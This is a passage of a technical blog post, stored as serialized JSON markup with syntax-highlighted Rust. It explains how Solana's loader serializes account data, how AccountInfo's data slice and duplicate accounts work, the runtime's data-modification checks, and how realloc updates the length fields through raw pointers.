data_len",{"type":25,"tag":216,"props":18938,"children":18939},{"style":6947},[18940],{"type":31,"value":6950},{"type":25,"tag":216,"props":18942,"children":18943},{"style":6947},[18944],{"type":31,"value":13767},{"type":25,"tag":216,"props":18946,"children":18947},{"style":6958},[18948],{"type":31,"value":1844},{"type":25,"tag":216,"props":18950,"children":18951},{"style":6941},[18952],{"type":31,"value":12313},{"type":25,"tag":216,"props":18954,"children":18955},{"style":6947},[18956],{"type":31,"value":179},{"type":25,"tag":216,"props":18958,"children":18959},{"style":7041},[18960],{"type":31,"value":13588},{"type":25,"tag":216,"props":18962,"children":18963},{"style":6958},[18964],{"type":31,"value":1844},{"type":25,"tag":216,"props":18966,"children":18967},{"style":6941},[18968],{"type":31,"value":17852},{"type":25,"tag":216,"props":18970,"children":18971},{"style":6958},[18972],{"type":31,"value":7030},{"type":25,"tag":216,"props":18974,"children":18975},{"style":6930},[18976],{"type":31,"value":12789},{"type":25,"tag":216,"props":18978,"children":18979},{"style":6947},[18980],{"type":31,"value":13767},{"type":25,"tag":216,"props":18982,"children":18983},{"style":6930},[18984],{"type":31,"value":13605},{"type":25,"tag":216,"props":18986,"children":18987},{"style":7369},[18988],{"type":31,"value":9805},{"type":25,"tag":216,"props":18990,"children":18991},{"style":6958},[18992],{"type":31,"value":7030},{"type":25,"tag":216,"props":18994,"children":18995},{"style":6930},[18996],{"type":31,"value":12789},{"type":25,"tag":216,"props":18998,"children":18999},{"style":7369},[19000],{"type":31,"value":17682},{"type":25,"tag":216,"props":19002,"children":19003},{"style":6958},[19004],{"type":31,"value":6961},{"type":25,"tag":216,"props":19006,"children":19007},{"class":6916,"line":6772},[19008,19012,19017,19022,19026,19030,19034],{"type":25,"tag":216,"props":19009,"children":19010},{"style":6941},[19011],{"type":31,"value":17852},{"type":25,"tag":216,"props":19013,"children":19014},{"style":6947},[19015],{"type":31,"value":19016}," +=",{"type":25,"tag":216,"props":19018,"children":19019},{"style":7041},[19020],{"type":31,"value":19021}," size_of",{"type":25,"tag":216,"props":19023,"children":19024},{"style":6947},[19025],{"type":31,"value":7432},{"type":25,"tag":216,"props":19027,"children":19028},{"style":6958},[19029],{"type":31,"value":9751},{"type":25,"tag":216,"props":19031,"children":19032},{"style":7369},[19033],{"type":31,"value":11988},{"type":25,"tag":216,"props":19035,"children":19036},{"style":6958},[19037],{"type":31,"value":12398},{"type":25,"tag":216,"props":19039,"children":19040},{"class":6916,"line":6999},[19041],{"type":25,"tag":216,"props":19042,"children":19043},{"emptyLinePlaceholder":16},[19044],{"type":31,"value":7636},{"type":25,"tag":216,"props":19046,"children":19047},{"class":6916,"line":7104},[19048,19052,19057,19061,19066,19070,19075,19080,19084,19088],{"type":25,"tag":216,"props":19049,"children":19050},{"style":6930},[19051],{"type":31,"value":15737},{"type":25,"tag":216,"props":19053,"children":19054},{"style":6941},[19055],{"type":31,"value":19056}," data",{"type":25,"tag":216,"props":19058,"children":19059},{"style":6947},[19060],{"type":31,"value":6950},{"type":25,"tag":216,"props":19062,"children":19063},{"style":7369},[19064],{"type":31,"value":19065}," Rc",{"type":25,"tag":216,"props":19067,"children":19068},{"style":6947},[19069],{"type":31,"value":7432},{"type":25,"tag":216,"props":19071,"children":19072},{"style":7041},[19073],{"type":31,"value":19074},"new",{"type":25,"tag":216,"props":19076,"children":19077},{"style":6958},[19078],{"type":31,"value":19079},"(RefCell",{"type":25,"tag":216,"props":19081,"children":19082},{"style":6947},[19083],{"type":31,"value":7432},{"type":25,"tag":216,"props":19085,"children":19086},{"style":7041},[19087],{"type":31,"value":19074},{"type":25,"tag":216,"props":19089,"children":19090},{"style":6958},[19091],{"type":31,"value":19092},"({\n",{"type":25,"tag":216,"props":19094,"children":19095},{"class":6916,"line":7210},[19096,19101,19105,19109,19113,19117,19121,19125,19129,19133],{"type":25,"tag":216,"props":19097,"children":19098},{"style":7041},[19099],{"type":31,"value":19100},"    from_raw_parts_mut",{"type":25,"tag":216,"props":19102,"children":19103},{"style":6958},[19104],{"type":31,"value":1844},{"type":25,"tag":216,"props":19106,"children":19107},{"style":6941},[19108],{"type":31,"value":12313},{"type":25,"tag":216,"props":19110,"children":19111},{"style":6947},[19112],{"type":31,"value":179},{"type":25,"tag":216,"props":19114,"children":19115},{"style":7041},[19116],{"type":31,"value":13588},{"type":25,"tag":216,"props":19118,"children":19119},{"style":6958},[19120],{"type":31,"value":1844},{"type":25,"tag":216,"props":19122,"children":19123},{"style":6941},[19124],{"type":31,"value":17852},{"type":25,"tag":216,"props":19126,"children":19127},{"style":6958},[19128],{"type":31,"value":5400},{"type":25,"tag":216,"props":19130,"children":19131},{"style":6941},[19132],{"type":31,"value":17757},{"type":25,"tag":216,"props":19134,"children":19135},{"style":6958},[19136],{"type":31,"value":7101},{"type":25,"tag":216,"props":19138,"children":19139},{"class":6916,"line":7238},[19140],{"type":25,"tag":216,"props":19141,"children":19142},{"style":6958},[19143],{"type":31,"value":19144},"}));\n",{"type":25,"tag":216,"props":19146,"children":19147},{"class":6916,"line":7251},[19148,19152,19156,19160,19164],{"type":25,"tag":216,"props":19149,"children":19150},{"style":6941},[19151],{"type":31,"value":17852},{"type":25,"tag":216,"props":19153,"children":19154},{"style":6947},[19155],{"type":31,"value":19016},{"type":25,"tag":216,"props":19157,"children":19158},{"style":6941},[19159],{"type":31,"value":18936},{"type":25,"tag":216,"props":19161,"children":19162},{"style":6947},[19163],{"type":31,"value":12852},{"type":25,"tag":216,"props":19165,"children":19166},{"style":6958},[19167],{"type":31,"value":19168}," MAX_PERMITTED_DATA_INCREASE;\n",{"type":25,"tag":216,"props":19170,"children":19171},{"class":6916,"line":7269},[19172,19176,19180,19184,19188,19192,19196,19200,19204,19208,19212,19217,19222],{"type":25,"tag":216,"props":19173,"children":19174},{"style":6941},[19175],{"type":31,"value":17852},{"type":25,"tag":216,"props":19177,"children":19178},{"style":6947},[19179],{"type":31,"value":19016},{"type":25,"tag":216,"props":19181,"children":19182},{"style":6958},[19183],{"type":31,"value":7010},{"type":25,"tag":216,"props":19185,"children":19186},{"style":6941},[19187],{"type":31,"value":17852},{"type":25,"tag":216,"props":19189,"children":19190},{"style":6930},[19191],{"type":31,"value":12775},{"type":25,"tag":216,"props":19193,"children":19194},{"style":6947},[19195],{"type":31,"value":13767},{"type":25,"tag":216,"props":19197,"children":19198},{"style":6930},[19199],{"type":31,"value":13605},{"type":25,"tag":216,"props":19201,"children":19202},{"style":7369},[19203],{"type":31,"value":18585},{"type":25,"tag":216,"props":19205,"children":19206},{"style":6958},[19207],{"type":31,"value":1882},{"type":25,"tag":216,"props":19209,"children":19210},{"style":6947},[19211],{"type":31,"value":179},{"type":25,"tag":216,"props":19213,"children":19214},{"style":7041},[19215],{"type":31,"value":19216},"align_offset",{"type":25,"tag":216,"props":19218,"children":19219},{"style":6958},[19220],{"type":31,"value":19221},"(BPF_ALIGN_OF_U128); ",{"type":25,"tag":216,"props":19223,"children":19224},{"style":6921},[19225],{"type":31,"value":19226},"// padding\n",{"type":25,"tag":38,"props":19228,"children":19229},{},[19230,19232,19237,19239,19245,19247,19258,19260,19265,19267,19273,19275,19281,19283,19289],{"type":31,"value":19231},"In English, we have the length of the data, as a ",{"type":25,"tag":82,"props":19233,"children":19235},{"className":19234},[],[19236],{"type":31,"value":11988},{"type":31,"value":19238},", followed immediately by the data, and an additional ",{"type":25,"tag":82,"props":19240,"children":19242},{"className":19241},[],[19243],{"type":31,"value":19244},"MAX_PERMITTED_DATA_INCREASE",{"type":31,"value":19246}," of reserve space (+ padding) after that. Using the length and data pointer, we construct a Rust slice reference (",{"type":25,"tag":162,"props":19248,"children":19251},{"href":19249,"rel":19250},"https://doc.rust-lang.org/std/slice/fn.from_raw_parts_mut.html",[166],[19252],{"type":25,"tag":82,"props":19253,"children":19255},{"className":19254},[],[19256],{"type":31,"value":19257},"slice::from_raw_parts_mut",{"type":31,"value":19259},") - slices are how Rust represents a, well, ",{"type":25,"tag":64,"props":19261,"children":19262},{},[19263],{"type":31,"value":19264},"slice",{"type":31,"value":19266}," (contiguous chunk) of memory - then wrap it up inside a ",{"type":25,"tag":82,"props":19268,"children":19270},{"className":19269},[],[19271],{"type":31,"value":19272},"Rc\u003CRefCell\u003CT>>",{"type":31,"value":19274},", giving us the unwieldy-looking type of ",{"type":25,"tag":82,"props":19276,"children":19278},{"className":19277},[],[19279],{"type":31,"value":19280},"AccountInfo.data",{"type":31,"value":19282},": ",{"type":25,"tag":82,"props":19284,"children":19286},{"className":19285},[],[19287],{"type":31,"value":19288},"Rc\u003CRefCell\u003C&mut [u8]>>",{"type":31,"value":179},{"type":25,"tag":38,"props":19291,"children":19292},{},[19293,19295,19302],{"type":31,"value":19294},"Now, what's the point of this complicated type? That's because when the same account is passed in multiple times to a program, instead of duplicating the data for the account, the BPF loader simply refers back to the first instance of the account. On the Rust side, that corresponds to ",{"type":25,"tag":162,"props":19296,"children":19299},{"href":19297,"rel":19298},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#335-336",[166],[19300],{"type":31,"value":19301},"cloning the referenced account",{"type":31,"value":1466},{"type":25,"tag":206,"props":19304,"children":19306},{"className":6909,"code":19305,"language":6908,"meta":7,"style":7},"// Duplicate account, clone the original\naccounts.push(accounts[dup_info as usize].clone());\n",[19307],{"type":25,"tag":82,"props":19308,"children":19309},{"__ignoreMap":7},[19310,19318],{"type":25,"tag":216,"props":19311,"children":19312},{"class":6916,"line":6917},[19313],{"type":25,"tag":216,"props":19314,"children":19315},{"style":6921},[19316],{"type":31,"value":19317},"// Duplicate account, clone the original\n",{"type":25,"tag":216,"props":19319,"children":19320},{"class":6916,"line":6763},[19321,19325,19329,19333,19337,19341,19345,19350,19354,19358,19363,19367,19372],{"type":25,"tag":216,"props":19322,"children":19323},{"style":6941},[19324],{"type":31,"value":18626},{"type":25,"tag":216,"props":19326,"children":19327},{"style":6947},[19328],{"type":31,"value":179},{"type":25,"tag":216,"props":19330,"children":19331},{"style":7041},[19332],{"type":31,"value":7777},{"type":25,"tag":216,"props":19334,"children":19335},{"style":6958},[19336],{"type":31,"value":1844},{"type":25,"tag":216,"props":19338,"children":19339},{"style":6941},[19340],{"type":31,"value":18626},{"type":25,"tag":216,"props":19342,"children":19343},{"style":6958},[19344],{"type":31,"value":7695},{"type":25,"tag":216,"props":19346,"children":19347},{"style":6941},[19348],{"type":31,"value":19349},"dup_info",{"type":25,"tag":216,"props":19351,"children":19352},{"style":6930},[19353],{"type":31,"value":12775},{"type":25,"tag":216,"props":19355,"children":19356},{"style":7369},[19357],{"type":31,"value":17682},{"type":25,"tag":216,"props":19359,"children":19360},{"style":6958},[19361],{"type":31,"value":19362},"]",{"type":25,"tag":216,"props":19364,"children":19365},{"style":6947},[19366],{"type":31,"value":179},{"type":25,"tag":216,"props":19368,"children":19369},{"style":7041},[19370],{"type":31,"value":19371},"clone",{"type":25,"tag":216,"props":19373,"children":19374},{"style":6958},[19375],{"type":31,"value":19376},"());\n",{"type":25,"tag":38,"props":19378,"children":19379},{},[19380,19382,19387,19389,19394,19396,19401,19403,19408,19409,19415,19417,19422,19424,19436,19438,19443],{"type":31,"value":19381},"Since ",{"type":25,"tag":82,"props":19383,"children":19385},{"className":19384},[],[19386],{"type":31,"value":7663},{"type":31,"value":19388}," inside the ",{"type":25,"tag":82,"props":19390,"children":19392},{"className":19391},[],[19393],{"type":31,"value":18890},{"type":31,"value":19395}," is a ",{"type":25,"tag":82,"props":19397,"children":19399},{"className":19398},[],[19400],{"type":31,"value":19272},{"type":31,"value":19402},", where the ",{"type":25,"tag":82,"props":19404,"children":19406},{"className":19405},[],[19407],{"type":31,"value":177},{"type":31,"value":19395},{"type":25,"tag":82,"props":19410,"children":19412},{"className":19411},[],[19413],{"type":31,"value":19414},"&mut [u8]",{"type":31,"value":19416}," pointing at the actual data buffer, when we clone the ",{"type":25,"tag":82,"props":19418,"children":19420},{"className":19419},[],[19421],{"type":31,"value":18890},{"type":31,"value":19423},", we get a new reference",{"type":25,"tag":19425,"props":19426,"children":19427},"sup",{},[19428],{"type":25,"tag":162,"props":19429,"children":19434},{"href":19430,"ariaDescribedBy":19431,"dataFootnoteRef":7,"id":19433},"#user-content-fn-rc-refs",[19432],"footnote-label","user-content-fnref-rc-refs",[19435],{"type":31,"value":184},{"type":31,"value":19437}," to the slice pointing at the ",{"type":25,"tag":64,"props":19439,"children":19440},{},[19441],{"type":31,"value":19442},"same",{"type":31,"value":19444}," data buffer.",{"type":25,"tag":38,"props":19446,"children":19447},{},[19448,19450,19456,19458,19464],{"type":31,"value":19449},"And of course to uphold borrowing rules while having a shared pointer, we have interior mutability via ",{"type":25,"tag":82,"props":19451,"children":19453},{"className":19452},[],[19454],{"type":31,"value":19455},"RefCell",{"type":31,"value":19457}," to check the rules at runtime. (The ",{"type":25,"tag":82,"props":19459,"children":19461},{"className":19460},[],[19462],{"type":31,"value":19463},"lamports",{"type":31,"value":19465}," field is very similar, for essentially the same reason - we need to be able to mutate it, but it is also shared between multiple instances of the same account.)",{"type":25,"tag":38,"props":19467,"children":19468},{},[19469,19471,19477],{"type":31,"value":19470},"Changing the data of an account is done by simply writing to ",{"type":25,"tag":82,"props":19472,"children":19474},{"className":19473},[],[19475],{"type":31,"value":19476},"AccountInfo::data",{"type":31,"value":19478},", which, as we just saw, is basically a pointer into the serialized buffer from the runtime; after the program exits, the loader reads the buffer back in to look at what the new state of the accounts should be.",{"type":25,"tag":38,"props":19480,"children":19481},{},[19482,19484,19491],{"type":31,"value":19483},"This is also where the ",{"type":25,"tag":162,"props":19485,"children":19488},{"href":19486,"rel":19487},"https://github.com/solana-labs/solana/blob/9fb0e76dc276f88b79720112477383a120c61b8f/program-runtime/src/pre_account.rs",[166],[19489],{"type":31,"value":19490},"runtime validity checks",{"type":31,"value":19492}," are imposed.",{"type":25,"tag":206,"props":19494,"children":19496},{"className":6909,"code":19495,"language":6908,"meta":7,"style":7},"// Only the owner may change account data\n//   and if the account is writable\n//   and if the account is not executable\nif !(program_id == pre.owner()\n    && is_writable  // line coverage used to get branch coverage\n    && !pre.executable())\n    && pre.data() != post.data()\n{\n    if pre.executable() {\n        return Err(InstructionError::ExecutableDataModified);\n    } else if is_writable {\n        return Err(InstructionError::ExternalAccountDataModified);\n    } else {\n        return Err(InstructionError::ReadonlyDataModified);\n    }\n}\n",[19497],{"type":25,"tag":82,"props":19498,"children":19499},{"__ignoreMap":7},[19500,19508,19516,19524,19566,19584,19613,19658,19665,19689,19724,19749,19781,19796,19828,19835],{"type":25,"tag":216,"props":19501,"children":19502},{"class":6916,"line":6917},[19503],{"type":25,"tag":216,"props":19504,"children":19505},{"style":6921},[19506],{"type":31,"value":19507},"// Only the owner may change account data\n",{"type":25,"tag":216,"props":19509,"children":19510},{"class":6916,"line":6763},[19511],{"type":25,"tag":216,"props":19512,"children":19513},{"style":6921},[19514],{"type":31,"value":19515},"//   and if the account is writable\n",{"type":25,"tag":216,"props":19517,"children":19518},{"class":6916,"line":6772},[19519],{"type":25,"tag":216,"props":19520,"children":19521},{"style":6921},[19522],{"type":31,"value":19523},"//   and if the account is not executable\n",{"type":25,"tag":216,"props":19525,"children":19526},{"class":6916,"line":6999},[19527,19532,19536,19540,19544,19548,19553,19557,19562],{"type":25,"tag":216,"props":19528,"children":19529},{"style":6967},[19530],{"type":31,"value":19531},"if",{"type":25,"tag":216,"props":19533,"children":19534},{"style":6947},[19535],{"type":31,"value":16814},{"type":25,"tag":216,"props":19537,"children":19538},{"style":6958},[19539],{"type":31,"value":1844},{"type":25,"tag":216,"props":19541,"children":19542},{"style":6941},[19543],{"type":31,"value":18617},{"type":25,"tag":216,"props":19545,"children":19546},{"style":6947},[19547],{"type":31,"value":7226},{"type":25,"tag":216,"props":19549,"children":19550},{"style":6941},[19551],{"type":31,"value":19552}," pre",{"type":25,"tag":216,"props":19554,"children":19555},{"style":6947},[19556],{"type":31,"value":179},{"type":25,"tag":216,"props":19558,"children":19559},{"style":7041},[19560],{"type":31,"value":19561},"owner",{"type":25,"tag":216,"props":19563,"children":19564},{"style":6958},[19565],{"type":31,"value":11681},{"type":25,"tag":216,"props":19567,"children":19568},{"class":6916,"line":7104},[19569,19574,19579],{"type":25,"tag":216,"props":19570,"children":19571},{"style":6947},[19572],{"type":31,"value":19573},"    &&",{"type":25,"tag":216,"props":19575,"children":19576},{"style":6941},[19577],{"type":31,"value":19578}," is_writable",{"type":25,"tag":216,"props":19580,"children":19581},{"style":6921},[19582],{"type":31,"value":19583},"  // line coverage used to get branch coverage\n",{"type":25,"tag":216,"props":19585,"children":19586},{"class":6916,"line":7210},[19587,19591,19595,19599,19603,19608],{"type":25,"tag":216,"props":19588,"children":19589},{"style":6947},[19590],{"type":31,"value":19573},{"type":25,"tag":216,"props":19592,"children":19593},{"style":6947},[19594],{"type":31,"value":16814},{"type":25,"tag":216,"props":19596,"children":19597},{"style":6941},[19598],{"type":31,"value":206},{"type":25,"tag":216,"props":19600,"children":19601},{"style":6947},[19602],{"type":31,"value":179},{"type":25,"tag":216,"props":19604,"children":19605},{"style":7041},[19606],{"type":31,"value":19607},"executable",{"type":25,"tag":216,"props":19609,"children":19610},{"style":6958},[19611],{"type":31,"value":19612},"())\n",{"type":25,"tag":216,"props":19614,"children":19615},{"class":6916,"line":7238},[19616,19620,19624,19628,19632,19636,19641,19646,19650,19654],{"type":25,"tag":216,"props":19617,"children":19618},{"style":6947},[19619],{"type":31,"value":19573},{"type":25,"tag":216,"props":19621,"children":19622},{"style":6941},[19623],{"type":31,"value":19552},{"type":25,"tag":216,"props":19625,"children":19626},{"style":6947},[19627],{"type":31,"value":179},{"type":25,"tag":216,"props":19629,"children":19630},{"style":7041},[19631],{"type":31,"value":7663},{"type":25,"tag":216,"props":19633,"children":19634},{"style":6958},[19635],{"type":31,"value":17994},{"type":25,"tag":216,"props":19637,"children":19638},{"style":6947},[19639],{"type":31,"value":19640},"!=",{"type":25,"tag":216,"props":19642,"children":19643},{"style":6941},[19644],{"type":31,"value":19645}," post",{"type":25,"tag":216,"props":19647,"children":19648},{"style":6947},[19649],{"type":31,"value":179},{"type":25,"tag":216,"props":19651,"children":19652},{"style":7041},[19653],{"type":31,"value":7663},{"type":25,"tag":216,"props":19655,"children":19656},{"style":6958},[19657],{"type":31,"value":11681},{"type":25,"tag":216,"props":19659,"children":19660},{"class":6916,"line":7251},[19661],{"type":25,"tag":216,"props":19662,"children":19663},{"style":6958},[19664],{"type":31,"value":14830},{"type":25,"tag":216,"props":19666,"children":19667},{"class":6916,"line":7269},[19668,19672,19676,19680,19684],{"type":25,"tag":216,"props":19669,"children":19670},{"style":6967},[19671],{"type":31,"value":16229},{"type":25,"tag":216,"props":19673,"children":19674},{"style":6941},[19675],{"type":31,"value":19552},{"type":25,"tag":216,"props":19677,"children":19678},{"style":6947},[19679],{"type":31,"value":179},{"type":25,"tag":216,"props":19681,"children":19682},{"style":7041},[19683],{"type":31,"value":19607},{"type":25,"tag":216,"props":19685,"children":19686},{"style":6958},[19687],{"type":31,"value":19688},"() {\n",{"type":25,"tag":216,"props":19690,"children":19691},{"class":6916,"line":7290},[19692,19697,19702,19706,19711,19715,19720],{"type":25,"tag":216,"props":19693,"children":19694},{"style":6967},[19695],{"type":31,"value":19696},"        return",{"type":25,"tag":216,"props":19698,"children":19699},{"style":7369},[19700],{"type":31,"value":19701}," Err",{"type":25,"tag":216,"props":19703,"children":19704},{"style":6958},[19705],{"type":31,"value":1844},{"type":25,"tag":216,"props":19707,"children":19708},{"style":7369},[19709],{"type":31,"value":19710},"InstructionError",{"type":25,"tag":216,"props":19712,"children":19713},{"style":6947},[19714],{"type":31,"value":7432},{"type":25,"tag":216,"props":19716,"children":19717},{"style":7369},[19718],{"type":31,"value":19719},"ExecutableDataModified",{"type":25,"tag":216,"props":19721,"children":19722},{"style":6958},[19723],{"type":31,"value":7791},{"type":25,"tag":216,"props":19725,"children":19726},{"class":6916,"line":7299},[19727,19732,19736,19741,19745],{"type":25,"tag":216,"props":19728,"children":19729},{"style":6958},[19730],{"type":31,"value":19731},"    } ",{"type":25,"tag":216,"props":19733,"children":19734},{"style":6967},[19735],{"type":31,"value":7262},{"type":25,"tag":216,"props":19737,"children":19738},{"style":6967},[19739],{"type":31,"value":19740}," if",{"type":25,"tag":216,"props":19742,"children":19743},{"style":6941},[19744],{"type":31,"value":19578},{"type":25,"tag":216,"props":19746,"children":19747},{"style":6958},[19748],{"type":31,"value":7235},{"type":25,"tag":216,"props":19750,"children":19751},{"class":6916,"line":7551},[19752,19756,19760,19764,19768,19772,19777],{"type":25,"tag":216,"props":19753,"children":19754},{"style":6967},[19755],{"type":31,"value":19696},{"type":25,"tag":216,"props":19757,"children":19758},{"style":7369},[19759],{"type":31,"value":19701},{"type":25,"tag":216,"props":19761,"children":19762},{"style":6958},[19763],{"type":31,"value":1844},{"type":25,"tag":216,"props":19765,"children":19766},{"style":7369},[19767],{"type":31,"value":19710},{"type":25,"tag":216,"props":19769,"children":19770},{"style":6947},[19771],{"type":31,"value":7432},{"type":25,"tag":216,"props":19773,"children":19774},{"style":7369},[19775],{"type":31,"value":19776},"ExternalAccountDataModified",{"type":25,"tag":216,"props":19778,"children":19779},{"style":6958},[19780],{"type":31,"value":7791},{"type":25,"tag":216,"props":19782,"children":19783},{"class":6916,"line":7568},[19784,19788,19792],{"type":25,"tag":216,"props":19785,"children":19786},{"style":6958},[19787],{"type":31,"value":19731},{"type":25,"tag":216,"props":19789,"children":19790},{"style":6967},[19791],{"type":31,"value":7262},{"type":25,"tag":216,"props":19793,"children":19794},{"style":6958},[19795],{"type":31,"value":7235},{"type":25,"tag":216,"props":19797,"children":19798},{"class":6916,"line":7585},[19799,19803,19807,19811,19815,19819,19824],{"type":25,"tag":216,"props":19800,"children":19801},{"style":6967},[19802],{"type":31,"value":19696},{"type":25,"tag":216,"props":19804,"children":19805},{"style":7369},[19806],{"type":31,"value":19701},{"type":25,"tag":216,"props":19808,"children":19809},{"style":6958},[19810],{"type":31,"value":1844},{"type":25,"tag":216,"props":19812,"children":19813},{"style":7369},[19814],{"type":31,"value":19710},{"type":25,"tag":216,"props":19816,"children":19817},{"style":6947},[19818],{"type":31,"value":7432},{"type":25,"tag":216,"props":19820,"children":19821},{"style":7369},[19822],{"type":31,"value":19823},"ReadonlyDataModified",{"type":25,"tag":216,"props":19825,"children":19826},{"style":6958},[19827],{"type":31,"value":7791},{"type":25,"tag":216,"props":19829,"children":19830},{"class":6916,"line":7598},[19831],{"type":25,"tag":216,"props":19832,"children":19833},{"style":6958},[19834],{"type":31,"value":7305},{"type":25,"tag":216,"props":19836,"children":19837},{"class":6916,"line":7607},[19838],{"type":25,"tag":216,"props":19839,"children":19840},{"style":6958},[19841],{"type":31,"value":7868},{"type":25,"tag":607,"props":19843,"children":19845},{"id":19844},"back-to-realloc",[19846,19848],{"type":31,"value":19847},"Back to ",{"type":25,"tag":82,"props":19849,"children":19851},{"className":19850},[],[19852],{"type":31,"value":17589},{"type":25,"tag":38,"props":19854,"children":19855},{},[19856],{"type":31,"value":19857},"As a reminder, this is what we were looking at before that detour:",{"type":25,"tag":206,"props":19859,"children":19860},{"className":6909,"code":18342,"language":6908,"meta":7,"style":7},[19861],{"type":25,"tag":82,"props":19862,"children":19863},{"__ignoreMap":7},[19864,19871,19958],{"type":25,"tag":216,"props":19865,"children":19866},{"class":6916,"line":6917},[19867],{"type":25,"tag":216,"props":19868,"children":19869},{"style":6921},[19870],{"type":31,"value":18354},{"type":25,"tag":216,"props":19872,"children":19873},{"class":6916,"line":6763},[19874,19878,19882,19886,19890,19894,19898,19902,19906,19910,19914,19918,19922,19926,19930,19934,19938,19942,19946,19950,19954],{"type":25,"tag":216,"props":19875,"children":19876},{"style":6930},[19877],{"type":31,"value":15737},{"type":25,"tag":216,"props":19879,"children":19880},{"style":6941},[19881],{"type":31,"value":17808},{"type":25,"tag":216,"props":19883,"children":19884},{"style":6947},[19885],{"type":31,"value":6950},{"type":25,"tag":216,"props":19887,"children":19888},{"style":6930},[19889],{"type":31,"value":17748},{"type":25,"tag":216,"props":19891,"children":19892},{"style":6947},[19893],{"type":31,"value":179},{"type":25,"tag":216,"props":19895,"children":19896},{"style":7041},[19897],{"type":31,"value":17825},{"type":25,"tag":216,"props":19899,"children":19900},{"style":6958},[19901],{"type":31,"value":17830},{"type":25,"tag":216,"props":19903,"children":19904},{"style":6947},[19905],{"type":31,"value":7075},{"type":25,"tag":216,"props":19907,"children":19908},{"style":7041},[19909],{"type":31,"value":17839},{"type":25,"tag":216,"props":19911,"children":19912},{"style":6958},[19913],{"type":31,"value":17830},{"type":25,"tag":216,"props":19915,"children":19916},{"style":6947},[19917],{"type":31,"value":179},{"type":25,"tag":216,"props":19919,"children":19920},{"style":7041},[19921],{"type":31,"value":17852},{"type":25,"tag":216,"props":19923,"children":19924},{"style":6958},[19925],{"type":31,"value":1844},{"type":25,"tag":216,"props":19927,"children":19928},{"style":6947},[19929],{"type":31,"value":8270},{"type":25,"tag":216,"props":19931,"children":19932},{"style":6983},[19933],{"type":31,"value":8025},{"type":25,"tag":216,"props":19935,"children":19936},{"style":6958},[19937],{"type":31,"value":7030},{"type":25,"tag":216,"props":19939,"children":19940},{"style":6930},[19941],{"type":31,"value":12789},{"type":25,"tag":216,"props":19943,"children":19944},{"style":6947},[19945],{"type":31,"value":13767},{"type":25,"tag":216,"props":19947,"children":19948},{"style":6930},[19949],{"type":31,"value":7685},{"type":25,"tag":216,"props":19951,"children":19952},{"style":7369},[19953],{"type":31,"value":9805},{"type":25,"tag":216,"props":19955,"children":19956},{"style":6958},[19957],{"type":31,"value":6961},{"type":25,"tag":216,"props":19959,"children":19960},{"class":6916,"line":6772},[19961,19965,19969,19973,19977,19981,19985],{"type":25,"tag":216,"props":19962,"children":19963},{"style":6947},[19964],{"type":31,"value":8513},{"type":25,"tag":216,"props":19966,"children":19967},{"style":6941},[19968],{"type":31,"value":17900},{"type":25,"tag":216,"props":19970,"children":19971},{"style":6947},[19972],{"type":31,"value":6950},{"type":25,"tag":216,"props":19974,"children":19975},{"style":6941},[19976],{"type":31,"value":17909},{"type":25,"tag":216,"props":19978,"children":19979},{"style":6930},[19980],{"type":31,"value":12775},{"type":25,"tag":216,"props":19982,"children":19983},{"style":7369},[19984],{"type":31,"value":9805},{"type":25,"tag":216,"props":19986,"children":19987},{"style":6958},[19988],{"type":31,"value":6961},{"type":25,"tag":38,"props":19990,"children":19991},{},[19992,19997,19999,20004,20006,20011,20013,20024,20026,20031,20033,20038],{"type":25,"tag":82,"props":19993,"children":19995},{"className":19994},[],[19996],{"type":31,"value":17825},{"type":31,"value":19998}," gives us the ",{"type":25,"tag":82,"props":20000,"children":20002},{"className":20001},[],[20003],{"type":31,"value":19414},{"type":31,"value":20005}," from the ",{"type":25,"tag":82,"props":20007,"children":20009},{"className":20008},[],[20010],{"type":31,"value":19288},{"type":31,"value":20012},", whose data is inside the serialized buffer and immediately after the size of the data inside the serialized buffer. And ",{"type":25,"tag":162,"props":20014,"children":20017},{"href":20015,"rel":20016},"https://doc.rust-lang.org/std/primitive.slice.html#method.as_mut_ptr",[166],[20018],{"type":25,"tag":82,"props":20019,"children":20021},{"className":20020},[],[20022],{"type":31,"value":20023},"slice::as_mut_ptr()",{"type":31,"value":20025}," gives us that data pointer directly. So, this code computes a pointer to that serialized size field (8 bytes - the size of a ",{"type":25,"tag":82,"props":20027,"children":20029},{"className":20028},[],[20030],{"type":31,"value":11988},{"type":31,"value":20032}," - behind the data buffer), and then writes ",{"type":25,"tag":82,"props":20034,"children":20036},{"className":20035},[],[20037],{"type":31,"value":17673},{"type":31,"value":20039}," to it.",{"type":25,"tag":38,"props":20041,"children":20042},{},[20043,20045,20057,20059,20065],{"type":31,"value":20044},"This is reasonable... ",{"type":25,"tag":64,"props":20046,"children":20047},{},[20048,20050,20055],{"type":31,"value":20049},"as long as the ",{"type":25,"tag":82,"props":20051,"children":20053},{"className":20052},[],[20054],{"type":31,"value":7663},{"type":31,"value":20056}," actually came from the serialized buffer",{"type":31,"value":20058},". We'll come back to this ",{"type":25,"tag":162,"props":20060,"children":20062},{"href":20061},"#Not-contracts",[20063],{"type":31,"value":20064},"later",{"type":31,"value":179},{"type":25,"tag":38,"props":20067,"children":20068},{},[20069,20071,20076],{"type":31,"value":20070},"At this point we've updated the serialized buffer, so at exit the runtime will understand that the size of the account's data buffer has changed. However, we haven't dealt with the Rust side yet. Slices have a length, and we haven't dealt with the ",{"type":25,"tag":82,"props":20072,"children":20074},{"className":20073},[],[20075],{"type":31,"value":19414},{"type":31,"value":20077}," slice that is our view into the data from the Rust world. So let's look at the next chunk:",{"type":25,"tag":206,"props":20079,"children":20081},{"className":6909,"code":20080,"language":6908,"meta":7,"style":7},"// Then set the new length in the local slice\nlet ptr = &mut *(((self.data.as_ptr() as *const u64).offset(1) as u64) as *mut u64);\n*ptr = new_len as u64;\n",[20082],{"type":25,"tag":82,"props":20083,"children":20084},{"__ignoreMap":7},[20085,20093,20220],{"type":25,"tag":216,"props":20086,"children":20087},{"class":6916,"line":6917},[20088],{"type":25,"tag":216,"props":20089,"children":20090},{"style":6921},[20091],{"type":31,"value":20092},"// Then set the new length in the local 